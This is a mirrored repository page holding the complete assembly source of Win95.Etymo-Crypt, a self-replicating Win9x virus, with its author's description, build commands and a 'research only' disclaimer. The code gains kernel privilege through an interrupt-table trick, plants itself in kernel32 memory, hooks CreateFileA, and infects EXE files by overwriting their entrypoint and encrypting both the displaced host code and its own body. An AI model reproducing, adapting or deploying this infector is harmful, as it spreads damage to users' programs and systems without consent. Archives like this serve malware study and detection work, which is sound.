mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
709 lines
31 KiB
NASM
709 lines
31 KiB
NASM
|
; *************************************************************************
|
||
|
; ******************** ********************
|
||
|
; ******************** Win95.Etymo-Crypt ********************
|
||
|
; ******************** by ********************
|
||
|
; ******************** BLACK JACK ********************
|
||
|
; ******************** ********************
|
||
|
; *************************************************************************
|
||
|
|
||
|
comment ~
|
||
|
|
||
|
NAME: Win95.Etymo-Crypt
|
||
|
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
||
|
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
||
|
TYPE: Win9x global ring3 resident parasitic PE infector
|
||
|
SIZE: 1308 bytes
|
||
|
|
||
|
DESCRIPTION: When an infected file is run, the virus gets control. It gains
|
||
|
ring0 by the standart IDT modifying trick. But it doesn't stay
|
||
|
resident in ring0 (hooking VxD calls), but it just uses its
|
||
|
ring0 privilege to write to the write-protected kernel32 memory:
|
||
|
it copies itself into a gap in kernel32 in memory (between
|
||
|
the header and the start of the first section, like nigr0's
|
||
|
Win95.K32 virus) and hooks the CreateFileA API.
|
||
|
Whenever the virus intercepts a file open now, it checks if
|
||
|
the opened file is an infectable, uninfected PE EXE and infects
|
||
|
it if all is ok. The infection process is a bit unusual: The
|
||
|
virus creates a new section called ".vdata" (with standart data
|
||
|
section attributes) and saves there the code from the entrypoint,
|
||
|
after it has been encrypted against the virusbody. Then the
|
||
|
entrypoint is overwritten with virus code, most of it encrypted
|
||
|
again. The attributes of the code section are not modified, the
|
||
|
virus doesn't need the write attribute set, because it only
|
||
|
modifies its data when it is in ring0. The pro of this infection
|
||
|
method is that there are no sections with unusual attributes.
|
||
|
|
||
|
KNOWN BUGS: Since the virus needs to be resident to restore control to the
|
||
|
host, there is no need for checking the OS or preventing errors
|
||
|
with SEH, because infected files will crash under WinNT anyways,
|
||
|
there's no way to prevent that.
|
||
|
Because of that unbound import stuff, the virus only catches
|
||
|
very few file opens. In a kernel32.dll infector this would be
|
||
|
easy to prevent by changing the timedate stamp of kernel32.dll.
|
||
|
In this case this doesn't work, because the system checks this
|
||
|
stamp after the kernel32 has been loaded into memory and will
|
||
|
give error messages if it has been changed each times the user
|
||
|
tries to start a program. Another possible solution, patching
|
||
|
the entry point of the hooked API with the JMP_virus instruction,
|
||
|
like nigr0 and Bumblebee do, won't work too, because with my
|
||
|
residency method the kernel memory stays write protected. And so
|
||
|
this virus is a slow infector, but it still catches enough file
|
||
|
opens to replicate successfully.
|
||
|
|
||
|
ASSEMBLE WITH:
|
||
|
tasm32 /mx /m etymo.asm
|
||
|
tlink32 /Tpe /aa etymo.obj,,, import32.lib
|
||
|
|
||
|
there's no need for PEWRSEC or a similar tool, because the
|
||
|
virus code is supposed to run in a read-only section anyways.
|
||
|
|
||
|
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
||
|
Therefore, this source was only written for research and
|
||
|
education. Please do not spread it. The author can't be hold
|
||
|
responsible for what you decide to do with this source.
|
||
|
|
||
|
PS: Greetings go to Gilgalad for the name of this virus!
|
||
|
|
||
|
~
|
||
|
; ===========================================================================
|
||
|
|
||
|
|
||
|
virussize EQU (virus_end - virus_start)
|
||
|
workspace EQU 10000
|
||
|
|
||
|
|
||
|
Extrn MessageBoxA:Proc ; only for 1st gen
|
||
|
Extrn ExitProcess:Proc
|
||
|
|
||
|
386p
|
||
|
model flat
|
||
|
|
||
|
; First generation code is in the data section:
|
||
|
|
||
|
data
|
||
|
start:
|
||
|
push 0 ; show stupid messagebox
|
||
|
push offset caption
|
||
|
push offset message
|
||
|
push 0
|
||
|
call MessageBoxA
|
||
|
|
||
|
JMP virus_start
|
||
|
|
||
|
quit_1st_gen:
|
||
|
; quit program
|
||
|
push 0 ; exit code
|
||
|
push 0 ; ret address of call
|
||
|
push offset ExitProcess ; can't do a real call,
|
||
|
RET ; because this code is moved
|
||
|
|
||
|
caption db "Black Jack strikes again...", 0
|
||
|
message db "Press OK to run the Win95.Etymo-Crypt virus", 0
|
||
|
|
||
|
skip_decryption_1st_gen:
|
||
|
mov esi, offset new_bytes ; skip the decryption in the
|
||
|
mov edi, offset jmp_skip_decryption_1st_gen ; first generation
|
||
|
movsb
|
||
|
movsd
|
||
|
JMP over_encryption
|
||
|
|
||
|
new_bytes:
|
||
|
mov ecx, ((virus_end - encrypted)/4)
|
||
|
|
||
|
|
||
|
; Virus body is in the code section:
|
||
|
|
||
|
code
|
||
|
virus_start:
|
||
|
|
||
|
; We have to access the section with the original host code from ring3 first,
|
||
|
; because if we access it first from ring0, it is not mapped yet and the
|
||
|
; virus will cause an exception. besides, the first dword of the encrypted
|
||
|
; host code is also the key for the virus decryption.
|
||
|
|
||
|
db 0A1h ; mov eax, [imm32]
|
||
|
org_host_code_VA dd offset quit_1st_gen
|
||
|
|
||
|
call next ; go to ring0 calling routine
|
||
|
|
||
|
; ----- FIRST PART OF RING0 CODE --------------------------------------------
|
||
|
r0proc:
|
||
|
pop ebp ; offset of end_next label
|
||
|
sub ebp, (end_next - virus_start) ; EBP=delta offset
|
||
|
push ebp ; is also true offset of
|
||
|
; virus start in memory,
|
||
|
; where we will return to
|
||
|
|
||
|
mov dword ptr [edx+5*8], esi ; restore interrupt
|
||
|
mov dword ptr [edx+5*8+4], edi ; descriptor
|
||
|
|
||
|
|
||
|
lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory
|
||
|
|
||
|
jmp_skip_decryption_1st_gen:
|
||
|
JMP skip_decryption_1st_gen ; skip decryption in first
|
||
|
; generation. will be
|
||
|
; replaced with:
|
||
|
; mov ecx, ((virus_end - encrypted)/4)
|
||
|
|
||
|
|
||
|
decrypt_virus_body:
|
||
|
dec edi ; go to previous dword
|
||
|
dec edi
|
||
|
dec edi
|
||
|
dec edi
|
||
|
|
||
|
xor dword ptr [edi], eax ; decrypt one dword
|
||
|
mov eax, dword ptr [edi] ; decrypted dword is new key
|
||
|
LOOP decrypt_virus_body ; loop until all is decrypted
|
||
|
|
||
|
JMP encrypted ; jump to code that was just
|
||
|
; decrypted.
|
||
|
|
||
|
; ----- JUMP TO RING0 -------------------------------------------------------
|
||
|
next:
|
||
|
push edx ; reserve room on stack
|
||
|
sidt [esp-2] ; get IDT address
|
||
|
pop edx ; EDX=IDT address
|
||
|
|
||
|
mov esi, dword ptr [edx+5*8] ; save old interrupt
|
||
|
mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI
|
||
|
|
||
|
pop ebx ; get address of ring0 proc
|
||
|
|
||
|
mov word ptr [edx+5*8], bx ; write offset of our ring0
|
||
|
shr ebx, 16 ; procedure into interrupt
|
||
|
mov word ptr [edx+5*8+6], bx ; descriptor
|
||
|
|
||
|
int 5 ; call our ring0 code!
|
||
|
end_next:
|
||
|
; no IRET to here.
|
||
|
|
||
|
; ----- MAIN ENCRYPTED RING0 CODE -------------------------------------------
|
||
|
encrypted:
|
||
|
|
||
|
; now we decrypt the original start code of the host, which has been
|
||
|
; encrypted against the virus body.
|
||
|
|
||
|
mov esi, ebp ; ESI=start of virus body
|
||
|
mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code
|
||
|
xor ecx, ecx ; ECX=0
|
||
|
|
||
|
decrypt_loop:
|
||
|
lodsb
|
||
|
sub byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
lodsb
|
||
|
xor byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
lodsb
|
||
|
add byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
lodsb
|
||
|
xor byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
cmp ecx, virussize ; all decrypted?
|
||
|
JB decrypt_loop ; loop until all is done
|
||
|
|
||
|
over_encryption:
|
||
|
|
||
|
; the kernel32 address is hardcoded, because this is virus is only Win95
|
||
|
; compatible anyways
|
||
|
|
||
|
mov eax, 0BFF70000h ; EAX=kernel32 offset
|
||
|
mov ebx, eax ; EBX=EAX
|
||
|
add ebx, [eax+3Ch] ; EBX=PE header VA
|
||
|
|
||
|
mov edi, [ebx+54h] ; header size
|
||
|
add edi, eax ; EDI=virus VA
|
||
|
cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is
|
||
|
JE already_resident ; residency marker
|
||
|
push edi ; save virus VA in kernel32
|
||
|
|
||
|
; ----- SEARCH API ADDRESSES ------------------------------------------------
|
||
|
mov edx, [ebx+78h] ; EDX=export directory RVA
|
||
|
add edx, eax ; EDX=export directory VA
|
||
|
lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs
|
||
|
; to API names
|
||
|
lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the
|
||
|
; API adresses
|
||
|
|
||
|
find_API:
|
||
|
xor ecx, ecx ; ECX=0 (API names counter)
|
||
|
|
||
|
search_loop:
|
||
|
pusha ; save all registers
|
||
|
push eax ; save EAX (kernel32 offset)
|
||
|
lodsd ; get offset of API name
|
||
|
or eax, eax ; all done?
|
||
|
JZ all_found
|
||
|
add eax, ebp ; fixup with delta offset
|
||
|
xchg eax, esi ; ESI=VA of a needed API name
|
||
|
pop eax ; restore EAX (kernel32 offs)
|
||
|
mov edi, [edx+20h] ; EDI=AddressOfNames RVA
|
||
|
add edi, eax ; EDI=AddressOfNames VA
|
||
|
mov edi, [edi+ecx*4] ; EDI=RVA of API Name
|
||
|
add edi, eax ; EDI=VA of API Name
|
||
|
|
||
|
cmp_loop:
|
||
|
lodsb ; get char from our API name
|
||
|
scasb ; equal to the one in k32 ?
|
||
|
JNE search_on_API ; if not,try next exported API
|
||
|
or al, al ; end of name?
|
||
|
JZ found_API ; we've found an needed API!
|
||
|
JMP cmp_loop ; go on with name compare
|
||
|
|
||
|
search_on_API:
|
||
|
popa ; restore all registers
|
||
|
inc ecx ; try next API in exports
|
||
|
JMP search_loop ; go on
|
||
|
|
||
|
found_API:
|
||
|
popa ; restore all registers
|
||
|
shl ecx, 1 ; ECX=ECX*2 (index ordinals)
|
||
|
add ecx, [edx+24h] ; AddressOfOrdinals RVA
|
||
|
movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal
|
||
|
shl ecx, 2 ; ECX=ECX*4
|
||
|
add ecx, [edx+1Ch] ; AddressOfFunctions RVA
|
||
|
add ecx, eax ; ECX=VA of API RVA
|
||
|
mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it
|
||
|
mov ecx, [ecx] ; ECX=API RVA
|
||
|
push eax ; save EAX (kernel32 base)
|
||
|
add eax, ecx ; EAX=API VA!
|
||
|
stosd ; store it!
|
||
|
lodsd ; do the next API (add esi,4)
|
||
|
pop eax ; restore EAX (kernel32 base)
|
||
|
JMP find_API ; do next API.
|
||
|
|
||
|
all_found:
|
||
|
pop eax ; remove EAX from stack
|
||
|
popa ; restore all registers
|
||
|
|
||
|
; last found API is hooked
|
||
|
mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA
|
||
|
mov edx, [ebx+54h] ; kernel32 header size
|
||
|
; (virus RVA in kernel32)
|
||
|
add edx, (hook - virus_start) ; RVA virus hook in kernel32
|
||
|
mov [ecx], edx ; hook API!
|
||
|
|
||
|
|
||
|
pop edi ; restore EDI:virus VA in k32
|
||
|
mov esi, ebp ; ESI=start of virus in mem
|
||
|
mov ecx, virussize ; ECX=virussize
|
||
|
cld ; clear directory flag
|
||
|
rep movsb ; move virus to TSR location!
|
||
|
sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32
|
||
|
JMP restore_host ; restore host
|
||
|
|
||
|
already_resident:
|
||
|
add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32
|
||
|
|
||
|
restore_host:
|
||
|
mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset
|
||
|
; of original host code
|
||
|
JMP edi ; go to go_on_r0 in kernel32
|
||
|
|
||
|
|
||
|
go_on_r0:
|
||
|
mov edi, ebp ; EDI=virus/host entrypoint
|
||
|
mov ecx, virussize ; ECX=virussize
|
||
|
cld ; clear directory flag
|
||
|
rep movsb ; move host code back!
|
||
|
iretd ; go to original entry point
|
||
|
; in ring3!
|
||
|
|
||
|
; ----- TSR VIRUS HOOK OF CreateFileA ---------------------------------------
|
||
|
hook:
|
||
|
push eax ; reserve room on stack for
|
||
|
; return address
|
||
|
pushf ; save flags
|
||
|
pusha ; save all registers
|
||
|
|
||
|
call TSR_next ; get delta offset
|
||
|
TSR_next:
|
||
|
pop ebp
|
||
|
sub ebp, offset TSR_next
|
||
|
|
||
|
mov eax, [ebp+offset CreateFileA] ; address of original routine
|
||
|
mov [esp+9*4], eax ; set return address
|
||
|
mov esi, [esp+11*4] ; get address of filename
|
||
|
|
||
|
push esi ; save it
|
||
|
search_ext:
|
||
|
lodsb ; get a byte from filename
|
||
|
or al, al ; end of filename?
|
||
|
JNZ search_ext ; search on
|
||
|
mov eax, [esi-4] ; get extension in AX
|
||
|
pop esi ; restore filename ptr in ESI
|
||
|
or eax, 00202020h ; make lowercase
|
||
|
cmp eax, "exe" ; is it an EXE file?
|
||
|
JNE exit_hook ; if not, then exit
|
||
|
|
||
|
push esi ; offset filename
|
||
|
call [ebp+offset GetFileAttributesA] ; get file attribtes
|
||
|
inc eax ; -1 means error
|
||
|
JZ exit_hook
|
||
|
dec eax
|
||
|
|
||
|
push eax ; save attributes and
|
||
|
push esi ; filename ptr so we can
|
||
|
; restore the attribs later
|
||
|
|
||
|
push 80h ; normal attributes
|
||
|
push esi
|
||
|
call [ebp+offset SetFileAttributesA] ; reset file attributes
|
||
|
or eax, eax ; 0 means error
|
||
|
JZ reset_attributes
|
||
|
|
||
|
push 0 ; template file (shit)
|
||
|
push 80h ; file attributes (normal)
|
||
|
push 3 ; open existing
|
||
|
push 0 ; security attributes (shit)
|
||
|
push 0 ; do not share file
|
||
|
push 0C0000000h ; read/write mode
|
||
|
push esi ; pointer to filename
|
||
|
call [ebp+offset CreateFileA] ; OPEN FILE.
|
||
|
inc eax ; EAX= -1 (Invalid handle)
|
||
|
JZ reset_attributes
|
||
|
dec eax
|
||
|
push eax ; save filehandle
|
||
|
xchg edi, eax ; EDI=filehandle
|
||
|
|
||
|
sub esp, 3*8 ; reserve space on stack
|
||
|
; to store the filetimes
|
||
|
|
||
|
mov ebx, esp ; get the filetimes to the
|
||
|
push ebx ; reserved place on stack
|
||
|
add ebx, 8
|
||
|
push ebx
|
||
|
add ebx, 8
|
||
|
push ebx
|
||
|
push edi ; filehandle
|
||
|
call [ebp+offset GetFileTime] ; get the filetimes
|
||
|
or eax, eax ; error?
|
||
|
JZ closefile
|
||
|
|
||
|
push 0 ; high file_size dword ptr
|
||
|
push edi
|
||
|
call [ebp+offset GetFileSize] ; get the filesize to EAX
|
||
|
inc eax ; -1 means error
|
||
|
JZ closefile
|
||
|
dec eax
|
||
|
|
||
|
mov ebx, esp ; save addresses of filetimes
|
||
|
push ebx ; for the API call to restore
|
||
|
add ebx, 8 ; them later
|
||
|
push ebx
|
||
|
add ebx, 8
|
||
|
push ebx
|
||
|
push edi
|
||
|
|
||
|
push edi ; filehandle for SetEndofFile
|
||
|
|
||
|
; for the SetFilePointer at
|
||
|
; the end to truncate file
|
||
|
push 0 ; move relative to filestart
|
||
|
push 0 ; high word of file pointer
|
||
|
push eax ; filesize
|
||
|
push edi ; filehandle
|
||
|
|
||
|
add eax, workspace
|
||
|
push 0 ; name file mapping obj (shit)
|
||
|
push eax ; low dword of file_size
|
||
|
push 0 ; high dword of file_size
|
||
|
push 4 ; PAGE_READWRITE
|
||
|
push 0 ; security attributes (shit)
|
||
|
push edi
|
||
|
call [ebp+offset CreateFileMappingA]
|
||
|
or eax, eax ; error happened?
|
||
|
JZ error_createfilemapping
|
||
|
|
||
|
push eax ; save maphandle for
|
||
|
; CloseHandle
|
||
|
|
||
|
push 0 ; map the whole file
|
||
|
push 0 ; low dword of fileoffset
|
||
|
push 0 ; high dword of fileoffset
|
||
|
push 2 ; read/write access
|
||
|
push eax ; maphandle
|
||
|
call [ebp+offset MapViewOfFile]
|
||
|
or eax, eax
|
||
|
JZ closemaphandle
|
||
|
|
||
|
push eax ; save mapbase for
|
||
|
; UnmapViewOfFile
|
||
|
|
||
|
cmp word ptr [eax], "ZM" ; exe file?
|
||
|
JNE closemap ; if not, then exit
|
||
|
|
||
|
cmp word ptr [eax+18h], 40h ; new executable header?
|
||
|
JNE closemap ; if not, then exit
|
||
|
|
||
|
add eax, [eax+3Ch] ; EBX=new header address
|
||
|
cmp dword ptr [eax], "EP" ; PE file?
|
||
|
JNE closemap ; if not, then exit
|
||
|
|
||
|
test word ptr [eax+16h], 0010000000000000b ; DLL ?
|
||
|
JNZ closemap ; if yes, then exit
|
||
|
|
||
|
movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader
|
||
|
mov ebx, eax ; EBX=offset PE header
|
||
|
add ebx, 18h ; SizeOfNTHeader
|
||
|
add ebx, ecx ; EBX=first section header
|
||
|
push ebx ; save it
|
||
|
|
||
|
find_code_section:
|
||
|
mov ecx, [eax+28h] ; ECX=EntryRVA
|
||
|
sub ecx, [ebx+0Ch] ; Virtualaddress of section
|
||
|
sub ecx, [ebx+10h] ; SizeOfRawData
|
||
|
JB found_code_section ; we found the code section!
|
||
|
add ebx, 40 ; next section
|
||
|
JMP find_code_section ; search on
|
||
|
|
||
|
found_code_section:
|
||
|
mov edx, [eax+28h] ; EDX=EntryRVA
|
||
|
sub edx, [ebx+0Ch] ; Virtualaddress
|
||
|
add edx, [ebx+14h] ; AddressOfRawData
|
||
|
; EDX=RAW ptr to entrypoint
|
||
|
|
||
|
pop ebx ; EBX=first section header
|
||
|
|
||
|
cmp ecx, -virussize ; enough room left in the
|
||
|
JG closemap ; section for the virus body?
|
||
|
|
||
|
mov ecx, [esp] ; ECX=mapbase
|
||
|
add ecx, edx ; ECX=entrypoint in Filemap
|
||
|
|
||
|
cmp byte ptr [ecx], 0A1h ; already infected ?
|
||
|
JE closemap ; if so, then exit
|
||
|
|
||
|
push edx ; save RAW entrypoint address
|
||
|
|
||
|
movzx edx, word ptr [eax+6] ; NumberOfSections
|
||
|
dec edx
|
||
|
imul edx, edx, 40
|
||
|
add ebx, edx ; EBX=last section header
|
||
|
|
||
|
inc word ptr [eax+6] ; increase NumberOfSections
|
||
|
|
||
|
mov dword ptr [ebx+40+00h], "adv." ; name ".vdata"
|
||
|
mov dword ptr [ebx+40+04h], "at"
|
||
|
mov dword ptr [ebx+40+08h], virussize ; Virtualsize
|
||
|
|
||
|
mov edx, [ebx+0Ch] ; VirtualAddress
|
||
|
add edx, [ebx+08h] ; VirtualSize
|
||
|
mov ecx, [eax+38h] ; SectionAlign
|
||
|
call align_EDX
|
||
|
|
||
|
mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress
|
||
|
|
||
|
add edx, virussize ; new ImageSize
|
||
|
call align_EDX ; align to SectionAlign
|
||
|
|
||
|
mov dword ptr [eax+50h], edx ; store new ImageSize
|
||
|
|
||
|
mov edx, virussize
|
||
|
mov ecx, [eax+3Ch] ; FileAlign
|
||
|
call align_EDX ; align virsize to FileAlign
|
||
|
|
||
|
mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData
|
||
|
|
||
|
mov edx, [ebx+14h] ; PointerToRawData
|
||
|
add edx, [ebx+10h] ; SizeOfRawData
|
||
|
call align_EDX ; align new section
|
||
|
; raw offset to FileAlign
|
||
|
|
||
|
mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData
|
||
|
|
||
|
add edx, [ebx+40+10h] ; SizeOfRawData
|
||
|
mov dword ptr [esp+4*4], edx ; new filesize
|
||
|
|
||
|
mov dword ptr [ebx+40+18h], 0 ; Relocation shit
|
||
|
mov dword ptr [ebx+40+1Ch], 0
|
||
|
mov dword ptr [ebx+40+20h], 0
|
||
|
mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the
|
||
|
; standart for data sections
|
||
|
|
||
|
mov edx, dword ptr [ebx+40+0Ch] ; RVA host code
|
||
|
add edx, [eax+34h] ; add ImageBase to get VA
|
||
|
|
||
|
pop esi ; ESI=RAW entrypoint address
|
||
|
pop eax ; EAX=mapbase
|
||
|
push eax ; we still need it on stack
|
||
|
add esi, eax ; ESI=entrypoint in FileMap
|
||
|
push esi ; save it on stack
|
||
|
mov edi, dword ptr [ebx+40+14h] ; PointerToRawData
|
||
|
add edi, eax ; start of new section in map
|
||
|
mov ecx, virussize ; bytes to move
|
||
|
push ecx ; save virussize on stack
|
||
|
cld
|
||
|
mov eax, edi ; EAX=new section in FileMap
|
||
|
rep movsb ; of entry point code to
|
||
|
; newly created section
|
||
|
|
||
|
pop ecx ; ECX=virussize
|
||
|
pop edi ; EDI=entrypoint in Filemap
|
||
|
lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory
|
||
|
rep movsb ; move virus body to
|
||
|
; original Entrypoint of File
|
||
|
|
||
|
mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of
|
||
|
; original host start code
|
||
|
|
||
|
push edi ; Save end of virus body
|
||
|
; in Filemap
|
||
|
|
||
|
mov esi, edi ; ESI=virus end in Filemap
|
||
|
sub esi, virussize ; ESI=virus start in Filemap
|
||
|
xchg edi, eax ; EDI=start of new section
|
||
|
|
||
|
; Encrypt the code from the original entry point against the virus body.
|
||
|
|
||
|
encrypt_loop:
|
||
|
lodsb
|
||
|
add byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
lodsb
|
||
|
xor byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
lodsb
|
||
|
sub byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
lodsb
|
||
|
xor byte ptr [edi+ecx], al
|
||
|
inc ecx
|
||
|
|
||
|
cmp ecx, virussize ; all encrypted?
|
||
|
JB encrypt_loop ; if not, then crypt on
|
||
|
|
||
|
|
||
|
; and now the main part of the virus body is encrypted itself. It is crypted
|
||
|
; from the end of the virus body upwards, for each dword is the next dword
|
||
|
; used as crypt key. The first key is the first dword of the encrypted
|
||
|
; host code.
|
||
|
|
||
|
mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords
|
||
|
mov eax, dword ptr [edi] ; initial key
|
||
|
pop edi ; end of virus in filemap
|
||
|
|
||
|
encrypt_virus_body:
|
||
|
dec edi ; go to previous dword
|
||
|
dec edi
|
||
|
dec edi
|
||
|
dec edi
|
||
|
|
||
|
mov ebx, dword ptr [edi] ; this dword is the next key
|
||
|
xor dword ptr [edi], eax ; encrypt it with this key
|
||
|
xchg ebx, eax ; change keys
|
||
|
LOOP encrypt_virus_body ; LOOP until encryption done
|
||
|
|
||
|
|
||
|
; the parameters for the following API calls have already been pushed on the
|
||
|
; stack while the opening process of the file
|
||
|
|
||
|
closemap:
|
||
|
call [ebp+offset UnmapViewOfFile] ; unmap file
|
||
|
|
||
|
closemaphandle:
|
||
|
call [ebp+offset CloseHandle] ; close map handle
|
||
|
|
||
|
error_createfilemapping:
|
||
|
call [ebp+offset SetFilePointer] ; set file pointer to EOF
|
||
|
|
||
|
call [ebp+offset SetEndOfFile] ; truncate file here
|
||
|
|
||
|
call [ebp+offset SetFileTime] ; restore filetimes
|
||
|
|
||
|
closefile:
|
||
|
add esp, 8*3 ; remove filetimes from stack
|
||
|
|
||
|
call [ebp+offset CloseHandle] ; close file
|
||
|
|
||
|
reset_attributes:
|
||
|
call [ebp+offset SetFileAttributesA] ; reset attributes
|
||
|
|
||
|
exit_hook:
|
||
|
popa ; restore all registers
|
||
|
popf ; restore flags
|
||
|
ret ; go to original API routine
|
||
|
|
||
|
; ----- ALIGN SUBROUTINE ----------------------------------------------------
|
||
|
; aligns EDX to ECX
|
||
|
align_EDX:
|
||
|
push eax ; save EAX
|
||
|
push edx ; save EDX
|
||
|
xchg eax, edx ; EAX=value to align
|
||
|
xor edx, edx ; EDX=0
|
||
|
div ecx ; divide EDX:EAX by ECX
|
||
|
pop eax ; restore old EDX in EAX
|
||
|
or edx, edx ; EDX=mod of division
|
||
|
JZ already_aligned ; already aligned?
|
||
|
add eax, ecx ; if not align
|
||
|
sub eax, edx ; EDX=mod
|
||
|
already_aligned:
|
||
|
xchg eax, edx ; EDX=aligned value
|
||
|
pop eax ; restore EAX
|
||
|
ret
|
||
|
|
||
|
|
||
|
db "[Win95.Etymo-Crypt] by Black Jack", 0
|
||
|
db "This virus was written in Austria in May/June/July 2000", 0
|
||
|
|
||
|
names_RVA_table:
|
||
|
dd (n_GetFileAttributesA - virus_start)
|
||
|
dd (n_SetFileAttributesA - virus_start)
|
||
|
dd (n_GetFileTime - virus_start)
|
||
|
dd (n_GetFileSize - virus_start)
|
||
|
dd (n_CreateFileMappingA - virus_start)
|
||
|
dd (n_MapViewOfFile - virus_start)
|
||
|
dd (n_UnmapViewOfFile - virus_start)
|
||
|
dd (n_SetFilePointer - virus_start)
|
||
|
dd (n_SetEndOfFile - virus_start)
|
||
|
dd (n_CloseHandle - virus_start)
|
||
|
dd (n_SetFileTime - virus_start)
|
||
|
dd (n_CreateFileA - virus_start)
|
||
|
dd 0
|
||
|
|
||
|
n_GetFileAttributesA db "GetFileAttributesA", 0
|
||
|
n_SetFileAttributesA db "SetFileAttributesA", 0
|
||
|
n_GetFileTime db "GetFileTime", 0
|
||
|
n_GetFileSize db "GetFileSize", 0
|
||
|
n_CreateFileMappingA db "CreateFileMappingA", 0
|
||
|
n_MapViewOfFile db "MapViewOfFile", 0
|
||
|
n_UnmapViewOfFile db "UnmapViewOfFile", 0
|
||
|
n_SetFilePointer db "SetFilePointer", 0
|
||
|
n_SetEndOfFile db "SetEndOfFile", 0
|
||
|
n_CloseHandle db "CloseHandle", 0
|
||
|
n_SetFileTime db "SetFileTime", 0
|
||
|
n_CreateFileA db "CreateFileA", 0
|
||
|
|
||
|
API_RVAs:
|
||
|
GetFileAttributesA dd ?
|
||
|
SetFileAttributesA dd ?
|
||
|
GetFileTime dd ?
|
||
|
GetFileSize dd ?
|
||
|
CreateFileMappingA dd ?
|
||
|
MapViewOfFile dd ?
|
||
|
UnmapViewOfFile dd ?
|
||
|
SetFilePointer dd ?
|
||
|
SetEndOfFile dd ?
|
||
|
CloseHandle dd ?
|
||
|
SetFileTime dd ?
|
||
|
CreateFileA dd ?
|
||
|
|
||
|
hook_API dd ?
|
||
|
|
||
|
if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords
|
||
|
db (4-(($-virus_start) mod 4)) dup(0)
|
||
|
endif
|
||
|
|
||
|
virus_end:
|
||
|
|
||
|
end start
|